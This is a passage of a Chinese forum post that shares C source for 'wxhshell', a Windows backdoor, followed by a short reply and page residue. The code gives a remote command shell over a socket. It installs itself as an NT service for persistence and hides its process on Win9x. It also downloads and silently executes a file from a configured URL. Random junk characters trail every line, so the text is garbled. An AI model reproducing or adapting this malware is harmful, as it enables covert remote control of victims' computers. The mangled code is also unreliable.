  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W"^wnGa@a  
  } !l]dR@e  
  else { !$N<ds.  
EnOU?D  
    switch(cmd[0]) { ib{-A&  
  N_:qRpp6i  
  // 帮助 _=CZR7:O  
  case '?': { !aO` AC=5u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^WBuMCe  
    break; H"ZZ.^"5FV  
  } ;22oY>w  
  // 安装 m3Il3ZY.  
  case 'i': { @2'Mt}R>  
    if(Install()) 2{|h8oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_=3<n E  
    else 3bnS W5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jReXyRmo({  
    break; Xp0F [>h  
    } 34\(7JO  
  // 卸载 p-.n3AL  
  case 'r': { !uQPc   
    if(Uninstall()) a5a($D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Reatd h  
    else "Ph^BU Ab  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Na X   
    break; ?QE,;QtpK  
    } |2{wG 4  
  // 显示 wxhshell 所在路径 >4t+:Ut:  
  case 'p': { UTXSeNP  
    char svExeFile[MAX_PATH]; g8PTGz  
    strcpy(svExeFile,"\n\r"); Y ')x/H  
      strcat(svExeFile,ExeFile); 0}_[DAd6  
        send(wsh,svExeFile,strlen(svExeFile),0); giz7{Ai  
    break; gz3pX#S  
    } {nLjY|*  
  // 重启 Qxj JN^Q  
  case 'b': { M(/r%-D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g<~Cpd  
    if(Boot(REBOOT)) bV,}Pp+/"!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lP':'P  
    else { 6{txm+U  
    closesocket(wsh); ,\NFt`]j  
    ExitThread(0); \L"kV!>  
    } )ZN|t?|  
    break; qvPtyc^fN  
    } M![J2=  
  // 关机 B ~OZ2-~  
  case 'd': { 720DV +o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R?]02Q  
    if(Boot(SHUTDOWN)) `]%|f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>(e}<i  
    else { wiiCd  
    closesocket(wsh); eH{[C*  
    ExitThread(0); 8YbE`32  
    } AvW:<}a,  
    break; 2k=# om19  
    } Qjb:WC7he  
  // 获取shell <i,U )Tt^C  
  case 's': { )= =Jfn y  
    CmdShell(wsh); #'y#"cmQ.  
    closesocket(wsh); 4ecP*g  
    ExitThread(0); <)3u6Vky9  
    break; 0=?<y'=  
  } @Z12CrJ  
  // 退出 =zz ~kon9  
  case 'x': { #"B\UN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^jx7@LgS=  
    CloseIt(wsh); P?k0zwOlBl  
    break; ]UmFhBR-  
    } pej|!oX  
  // 离开 4T ~}  
  case 'q': { 62zYRs\Y)X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1u:< 25  
    closesocket(wsh); =|Y,+/R?  
    WSACleanup(); }"|K(hq  
    exit(1); , 'u W*kx  
    break; h D/*h*}T>  
        } adR)Uq9  
  } 3xaR@xjS  
  } cH&J{WeZa  
w9bbMx  
  // 提示信息 ;<ZLc TL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S Em Q@1  
}  bJX)$G  
  } J|qZ+A[z  
ax<?GjpM  
  return; LA}S yt\F  
} 9@Jtaq>jf  
Hhcpp7cr'  
// shell模块句柄 rp ;b" q  
int CmdShell(SOCKET sock) }F#okU  
{ ,Pdf,2  
STARTUPINFO si; vwxXgk  
ZeroMemory(&si,sizeof(si)); `)_dS&_\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )% ~OH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a m|F?|1  
PROCESS_INFORMATION ProcessInfo; 73/P&hT  
char cmdline[]="cmd"; *Qg_F6y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v]B3m  
  return 0; G?Q3/y(  
} N/MUwx;P  
8; 0A g  
// 自身启动模式 e?8HgiP-  
int StartFromService(void) '/^qJ7eb  
{ X\bOz[\  
typedef struct ;)D];u|_  
{ xHD=\,{ig  
  DWORD ExitStatus; 2#c<\s|C  
  DWORD PebBaseAddress; ww], y@da  
  DWORD AffinityMask; JzQ)jdvp  
  DWORD BasePriority; +%ee8|\  
  ULONG UniqueProcessId; |#]@Z)xa  
  ULONG InheritedFromUniqueProcessId; X:vghOt?  
}   PROCESS_BASIC_INFORMATION; w5Y04J  
7/I,HxXp!  
PROCNTQSIP NtQueryInformationProcess; ;V*l.gr'2  
< HVl(O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]~'5\58sP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (>nGQS]H  
w9< R#y[A  
  HANDLE             hProcess; &L'Dqew,*  
  PROCESS_BASIC_INFORMATION pbi; Mygf T[_  
jIC_[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %C| n9*  
  if(NULL == hInst ) return 0; '"SEw w  
,(EO'T[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (|klSz_4LM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O$_)G\\\m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E&2OD [iX  
S4Y&  
  if (!NtQueryInformationProcess) return 0; (k5We!4[1  
a7r%X -  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;f#v0W`5  
  if(!hProcess) return 0; PQ5QA61  
}dgfqq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4T|b Cs?e  
kmP]SO?tx  
  CloseHandle(hProcess); Q(wx nm  
a&/#X9/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TaKLzd2  
if(hProcess==NULL) return 0; PgtJ3oq [}  
<m)$K  
HMODULE hMod; D$ dfNiCH  
char procName[255]; Xg|B \ \  
unsigned long cbNeeded; J:CXW%\ <q  
K1 EynU I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I>]oS(GNT  
lr>oYS0  
  CloseHandle(hProcess); 5m\<U`  
GpY"f c%  
if(strstr(procName,"services")) return 1; // 以服务启动 w$zu~/qV2  
3x{ t(  
  return 0; // 注册表启动 KL1/^1  
} \^L`7cBL  
8 OY3A  
// 主模块 EofymAi%  
int StartWxhshell(LPSTR lpCmdLine) >,gg5<F-E  
{ x@P y>f2  
  SOCKET wsl; $PTP/^  
BOOL val=TRUE; m0ER@BXRn  
  int port=0; {o_X`rgrL  
  struct sockaddr_in door; _=_Px@<Q  
,J,/."Y  
  if(wscfg.ws_autoins) Install(); 1+szG1U=  
= RA /  
port=atoi(lpCmdLine); b6nsg|&#  
} ()5"QB  
if(port<=0) port=wscfg.ws_port; 4>F'oqFF  
.7e2YI,S  
  WSADATA data; ~ $Tkn_w#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <"{qk2LS1  
Uzz'.K(Mv|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rI= v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XG{{ 2f  
  door.sin_family = AF_INET; $$|rrG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cn'(<bl  
  door.sin_port = htons(port); *SU\ABcov  
U`R5'Tf;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZZ2vvtlyG  
closesocket(wsl); `Nz/O h7  
return 1; 4r>6G/b8*  
} ")O%86_Q:  
[Y|8\Ph`&  
  if(listen(wsl,2) == INVALID_SOCKET) { ~ELNyI11  
closesocket(wsl); 2`7==?  
return 1; GPkmf%FJ  
} 2D75:@JL}|  
  Wxhshell(wsl); v\KA'PmiP  
  WSACleanup(); .AR#&mL9  
d4u})  
return 0; t2/#&J]  
6IBgt!=,  
} Yw4n-0g  
$7O}S.x  
// 以NT服务方式启动 t[ubn+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QS%%^+E2  
{ nygbt<;?  
DWORD   status = 0;  aC$B2  
  DWORD   specificError = 0xfffffff; R<\F:9  
RN$1bxY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JlH&??  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K(q+ "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]$ L|  
  serviceStatus.dwWin32ExitCode     = 0; 'n{Nvt.c  
  serviceStatus.dwServiceSpecificExitCode = 0; +c(zo4nZ  
  serviceStatus.dwCheckPoint       = 0; ^T*?>%`  
  serviceStatus.dwWaitHint       = 0; iq8Grd L"  
{IxA)v-`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AqWUwK9T  
  if (hServiceStatusHandle==0) return; v*'^r)Q[p  
LxYrl-  
status = GetLastError(); rf $QxJ  
  if (status!=NO_ERROR) X &uTSgN  
{ }+)fMZz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wT;0w3.Z  
    serviceStatus.dwCheckPoint       = 0; Z>QF#."m  
    serviceStatus.dwWaitHint       = 0; +AR5W(&  
    serviceStatus.dwWin32ExitCode     = status; 8J:}%DaxL  
    serviceStatus.dwServiceSpecificExitCode = specificError; sF|5XjQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DgUT5t1  
    return; ;XF:\<+  
  } cJ{ Nh;"  
I;e=0!9U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \n$u)Xj~6^  
  serviceStatus.dwCheckPoint       = 0; ,5i`-OI  
  serviceStatus.dwWaitHint       = 0; `b Fff %_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I KqQ>Z-q~  
} H\h3 TdL  
< vL,*.zd  
// 处理NT服务事件,比如:启动、停止 1;C+$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Q+;=-1  
{ NG--6\  
switch(fdwControl) 2;z b\d  
{ A0o-:n Fu  
case SERVICE_CONTROL_STOP: igkYX!0#8O  
  serviceStatus.dwWin32ExitCode = 0; 1Yq?X:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8B /\U'  
  serviceStatus.dwCheckPoint   = 0; s8ywKTR-  
  serviceStatus.dwWaitHint     = 0; LgKaPg$  
  { -K q5i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \#f <!R4  
  } UYk/v]ZA  
  return; K?[q% W]%  
case SERVICE_CONTROL_PAUSE: /35R u}c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4i6q{BeHn  
  break; u$>4F|=T  
case SERVICE_CONTROL_CONTINUE: p~SClaR3H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wfNk=)^$  
  break; RX>xB  
case SERVICE_CONTROL_INTERROGATE: dYG,_ji  
  break; Fpm|_f7  
}; y`\@N"Cf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fa++MNf}3  
} Ir {OheJ  
ruc++@ J@  
// 标准应用程序主函数 1$D_6U:H0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +b.g$CRr  
{ T^Y([23  
[h^2Y&Au5  
// 获取操作系统版本 ySx>L uY#3  
OsIsNt=GetOsVer(); 8VeQ-#7M/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); isQ[ Gc!8  
!B\R''J5  
  // 从命令行安装 ,VCyG:dw  
  if(strpbrk(lpCmdLine,"iI")) Install(); W{5#@_pL  
3?c3<`TW  
  // 下载执行文件 5k`l $mW{  
if(wscfg.ws_downexe) { %6t2ohO"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ Pj  
  WinExec(wscfg.ws_filenam,SW_HIDE); !zkZQ2{Wn  
} G!"YpYml  
d*jMZ%@uS  
if(!OsIsNt) { wj,:"ESb4  
// 如果时win9x,隐藏进程并且设置为注册表启动 @CTgT-0!  
HideProc(); Yn@lr6s  
StartWxhshell(lpCmdLine); :K-~fA%kt?  
} fuWO*  
else W yB3ls~  
  if(StartFromService()) qu-B| MuOa  
  // 以服务方式启动 ~tBYIkvWT  
  StartServiceCtrlDispatcher(DispatchTable); {l>yi  
else B.dH(um  
  // 普通方式启动  Of"  
  StartWxhshell(lpCmdLine); %5eY'  
2>cGH7EBD  
return 0; 4?ICy/,U-  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八